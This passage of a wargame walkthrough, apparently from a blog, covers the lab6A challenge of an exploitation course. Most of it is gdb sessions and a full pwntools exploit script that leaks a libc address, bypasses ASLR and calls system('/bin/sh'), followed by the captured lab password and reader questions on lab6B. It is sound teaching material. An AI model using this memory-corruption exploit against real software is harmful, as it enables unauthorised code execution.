lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A_2.py [+] Starting program './lab6A': Done ... [*] Partial overwrite succeeded! 00000000 55 73 65 72 6e 61 6d 65 3a 20 41 41 41 41 41 41 │User│name│: AA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000020 41 41 41 41 41 41 41 41 41 0a 41 41 41 41 41 41 │AAAA│AAAA│A·AA│AAAA│ 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000040 41 41 41 41 41 41 41 41 41 0a 20 69 73 20 61 20 │AAAA│AAAA│A· i│s a │ 00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 │XXXX│XXXX│XXXX│XXXX│ * 000000a0 58 58 58 58 58 58 58 58 58 58 e2 0b 7a b7 d0 0d │XXXX│XXXX│XX··│z···│ 000000b0 7a b7 0a 45 6e 74 65 72 20 43 68 6f 69 63 65 3a │z··E│nter│ Cho│ice:│ 000000c0 20 │ │ 000000c1 00000000 55 73 65 72 6e 61 6d 65 3a 20 75 0a 41 41 41 41 │User│name│: u·│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000020 41 41 41 41 41 41 41 41 41 0a 75 0a 41 41 41 41 │AAAA│AAAA│A·u·│AAAA│ 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000040 41 41 41 41 41 41 41 41 41 0a 20 69 73 20 61 20 │AAAA│AAAA│A· i│s a │ 00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 │XXXX│XXXX│XXXX│XXXX│ * 000000a0 58 58 58 58 58 58 58 58 58 58 e2 0b 7a b7 d0 0d │XXXX│XXXX│XX··│z···│ 000000b0 7a b7 20 69 73 20 61 20 64 0a 83 ca 5d b7 01 0a │z· i│s a │d···│]···│ 000000c0 45 6e 74 65 72 20 43 68 6f 69 63 65 3a 20 │Ente│r Ch│oice│: │ 000000ce [*] Switching to interactive mode $
We leaked another address: 0xb75dca83
at offset 0xba
from the second output. This looks more interesting since it has not the same base address as the value of sfunc
(0xb77a0be2
in the above output).
Let's use gdb
do find out where this address is located. Again we can set a breakpoint on the call to sfunc
since the struct is passed on the stack to the called function:
gdb-peda$ b *main+398 Breakpoint 1 at 0xd9d gdb-peda$ r Starting program: /levels/lab06/lab6A .-------------------------------------------------. | Welcome to l337-Bay + | |-------------------------------------------------| |1: Setup Account | |2: Make Listing | |3: View Info | |4: Exit | |-------------------------------------------------| Enter Choice: 3 [----------------------------------registers-----------------------------------] EAX: 0xb77c89e0 (<print_listing>: push ebp) EBX: 0xb77cb000 --> 0x2ef8 ECX: 0xb77968a4 --> 0x0 EDX: 0xbfec24bc --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xbfec2568 --> 0x0 ESP: 0xbfec24a0 --> 0xbfec24bc --> 0x0 EIP: 0xb77c8d9d (<main+398>: call eax) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb77c8d8f <main+384>: mov eax,DWORD PTR [esp+0xbc] 0xb77c8d96 <main+391>: lea edx,[esp+0x1c] 0xb77c8d9a <main+395>: mov DWORD PTR [esp],edx => 0xb77c8d9d <main+398>: call eax 0xb77c8d9f <main+400>: lea eax,[esp+0x18] 0xb77c8da3 <main+404>: movzx edx,BYTE PTR [eax] 0xb77c8da6 <main+407>: lea eax,[ebx-0x1f13] 0xb77c8dac <main+413>: movzx eax,BYTE PTR [eax] Guessed arguments: arg[0]: 0xbfec24bc --> 0x0 [------------------------------------stack-------------------------------------] 0000| 0xbfec24a0 --> 0xbfec24bc --> 0x0 0004| 0xbfec24a4 --> 0x2 0008| 0xbfec24a8 --> 0xb7795c20 --> 0xfbad2288 0012| 0xbfec24ac --> 0x0 0016| 0xbfec24b0 --> 0xbfec2518 --> 0x0 0020| 0xbfec24b4 --> 0xb77c7a94 --> 0xb77a2b18 --> 0xb77c7938 --> 0xb77c8000 --> 0x464c457f 0024| 0xbfec24b8 --> 0x33 ('3') 0028| 0xbfec24bc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0xb77c8d9d in main ()
edx
contains the address of the struct merchant
. We are looking for the address which should be stored somewhere beneath the memory intended for the struct:
gdb-peda$ x/64xw $edx 0xbfec24bc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfec24cc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfec24dc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfec24ec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfec24fc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfec250c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfec251c: 0xb761e273 0x00000000 0x00ca0000 0x00000001 0xbfec252c: 0xb77c863d 0xb77c8819 0xb77cb000 0x00000001 0xbfec253c: 0xb77c8e22 0x00000001 0xbfec2604 0xbfec260c 0xbfec254c: 0xb761e42d 0xb77953c4 0xb77c7000 0xb77c8ddb 0xbfec255c: 0xb77c89e0 0xb77c8dd0 0xb7795000 0x00000000 0xbfec256c: 0xb7604a83 0x00000001 0xbfec2604 0xbfec260c 0xbfec257c: 0xb77b4cea 0x00000001 0xbfec2604 0xbfec25a4 0xbfec258c: 0xb77cb038 0xb77c83a0 0xb7795000 0x00000000 0xbfec259c: 0x00000000 0x00000000 0xc6793fe6 0xdea75bf7 0xbfec25ac: 0x00000000 0x00000000 0x00000000 0x00000001
Of course we have to keep in mind that the base addresses vary since ASLR is enabled. If we look out for the last two bytes the highlighted value matches the address we found. Let's have a look what stored there:
gdb-peda$ x/xw 0xb7604a83 0xb7604a83 <__libc_start_main+243>: 0xe8240489
Great! This address resides within the libc function __libc_start_main
which probably called the binary's main
function. We have successfully leaked a libc address. Now we only need to calculate the necessary offsets:
gdb-peda$ i proc mappings process 24763 Mapped address spaces: Start Addr End Addr Size Offset objfile 0xb75ea000 0xb75eb000 0x1000 0x0 0xb75eb000 0xb7793000 0x1a8000 0x0 /lib/i386-linux-gnu/libc-2.19.so 0xb7793000 0xb7795000 0x2000 0x1a8000 /lib/i386-linux-gnu/libc-2.19.so 0xb7795000 0xb7796000 0x1000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so 0xb7796000 0xb7799000 0x3000 0x0 0xb77a0000 0xb77a3000 0x3000 0x0 0xb77a3000 0xb77a4000 0x1000 0x0 [vdso] 0xb77a4000 0xb77a6000 0x2000 0x0 [vvar] 0xb77a6000 0xb77c6000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so 0xb77c6000 0xb77c7000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so 0xb77c7000 0xb77c8000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so 0xb77c8000 0xb77ca000 0x2000 0x0 /levels/lab06/lab6A 0xb77ca000 0xb77cb000 0x1000 0x1000 /levels/lab06/lab6A 0xb77cb000 0xb77cc000 0x1000 0x2000 /levels/lab06/lab6A 0xbfea3000 0xbfec4000 0x21000 0x0 [stack] gdb-peda$ p 0xb7604a83 - 0xb75eb000 $2 = 0x19a83
We can view the base address of the libc loaded in gdb
using the command i proc mappings
. If we subtract the base address from the leaked address, we got the offset of the leaked address: 0x19a83
. With this offset we can calculate the base address of the libc when running the program with our python script.
We also need the offset of the system
function we want to call:
gdb-peda$ p system - 0xb75eb000 $5 = (<text variable, no debug info> *) 0x40190
The offset of system
is 0x40190
.
We could also located the string "/bin/sh"
within the libc, but in this case it is ever more easier: when the address at sfunc
is called, the address of merchant
is passed as the only argument:
( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);
The struct merchant
begins with the username. So we only have to set the username to "/bin/sh"
and null-terminate the string, so that we will end up with the call system("/bin/sh")
.
Now we can construct our final exploit-script:
lab6A@warzone:/levels/lab06$ cat /tmp/exploit_lab6A.py from pwn import * def setupAccount(p, u, d): p.sendline("1") p.recvuntil("name: ") p.sendline(u) p.recvuntil("description: ") p.sendline(d) p.recvuntil("Choice: ") p.sendline("3") while True: p = process("./lab6A") p.recvuntil("Choice: ") # partially overwrite sfunc (print_name) setupAccount(p, "A"*31, "X"*90+"\xe2\x0b\x00") try: ret = p.recv(400) if ("Username: " in ret): break except EOFError: continue log.info("Partial overwrite succeeded!") # leak libc address setupAccount(p, "u", "d") ret = p.recv(400) libc_leak = ord(ret[0xba]) + (ord(ret[0xbb])<<8) + (ord(ret[0xbc])<<16) + (ord(ret[0xbd])<<24) log.info("libc_leak: " + hex(libc_leak)) # pre-calculated offsets libc_base = libc_leak - 0x19a83 log.success("libc_base: " + hex(libc_base)) addr_system = libc_base + 0x40190 # call system("/bin/sh")) setupAccount(p, 19*"/"+"/bin/sh\x00", "X"*96+p32(addr_system)) p.interactive()
An important point is the terminating null-byte in the third call to setupAccount
(line 41). Not only in order to terminate "/bin/sh"
correctly, but also to prevent the memcpy
call to append the new description after the old description. Otherwise sfunc
would have not been overwritten.
Now we just have to run the script:
lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A.py [+] Starting program './lab6A': Done ... [*] Partial overwrite succeeded! [*] libc_leak: 0xb755ca83 [+] libc_base: 0xb7543000 [*] Switching to interactive mode $ whoami lab6end $ cat /home/lab6end/.pass eye_gu3ss_0n_@ll_mah_h0m3w3rk
Done! The final password for lab06 is eye_gu3ss_0n_@ll_mah_h0m3w3rk
.
hey srych, it’s me again :p
In lab6B, you want to overwrite var attempts to 0 in order to jump out of loop.
so you xor attempts_after_xor with \x89\x87\x87\x87
in specific ,it’s like:
0xfffffffd ^ 0x39393939 -> attempts_after_xor (first stage)
attempts_after_xor ^ 0x87878789 -> 0x00000000 (second stage)
so my calculation is : for 0xff, we need : 0x39^0x41^0xff = 0x87 , same as your answer
but for the least siginificant bytes 0xfe (attempts + 1 = -2), we need: 0x39^0x41^0xfe = 0x86 ! not 0x89
If I use 0x89, the least siginificant bytes should be 0xf1 according to my calculation.
Where’s wrong step? I just can’t get it.
And another small question: when i nc to lab6B, I get banned after 3 tries. But with python scripts, it keeps asking me for username and password. I also tried to print 1 more round to end loop (print A*32 and x*32 twice,then print final payload) but also failed. Does pwntools automatic reconnect that ports? Or does it have other mechanics?
Hope I describe my questions clearly, thanks again for your effort and reply!
Hey smile 🙂
Your progress is awesome! This challenge is not very simple because of the overlap. What me really helped is to simply inspect values during runtime in gdb on each relevant step. Your calculation does not take into account that we are already within the second iteration of the loop. Before the loop ‘attempts’ is initialized with 0xfffffffd (-3). Before the first iteration ‘attempts’ gets incremented to 0xfffffffe (-2). During this first iteration ‘attempts’ gets XORed with 0x39393939 (0x41414141^0x78787878) resulting in 0xc6c6c6c7. Before the next (second) iteration ‘attempts’ gets incremented yet again, this time to 0xc6c6c6c8. During this second iteration ‘attempts’ gets XORed with 0xc6c6c6c8 in my script (0x41414141^0x87878789), which results in 0. Thus the condition of the loop is not satisified anymore and it is quite.
Regarding your second question: the connect via pwntools is made via the ‘remote’ function. Under the hood this is doing nothing other than nc. If you want to simulate nc using pwntools you can do this: io=remote(…); io.interactive(). The reason why you are not being banned via the python script is probably because a username and password is sent, which will overwrite the ‘attempts’ variable.
looking forward to further comments from you 🙂
scryh
wow that makes a lot of sense! yesterday i keep think about that til braindead lol. much appreciate for your detailed response!
hello, first I want to thank you about this amazing guild (not just this lab, all of them!)
I have 2 questions about 6A:
why didn’t you try to use ROP chain with libraries that didn’t compiled with pie?
why we need to add \x00 to the end of the user->desc?
thank alot
Hey Tomer,
great to hear that, thanks 🙂
Regarding ASLR there are fundamental differences between Windows and Linux. When exploiting older applications on Windows, it is quite common to rely on libraries, that aren’t compiled with ASLR support (lacking /DYNAMICBASE). The reason why this works is because whether ASLR is enabled or not is determined independently for each library. For Linux this is different. ASLR is enabled for the whole system (/proc/sys/kernel/randomize_va_space). Thus all libraries are affected by ASLR, if it is enabled.
The null byte at the end of the description is required, because the input is read via the function “read”, which does not null terminate the input and also reads the newline character caused by hitting the ENTER key (or using sendline via pwntools). If you for example enter “test” and then press ENTER, the description contains the bytes “test\x0a” without a null byte at the end. When we trigger the system function, we want to pass the string “/bin/sh” with a null byte at the end instead of a newline character. Thus we have to manually add it to our input.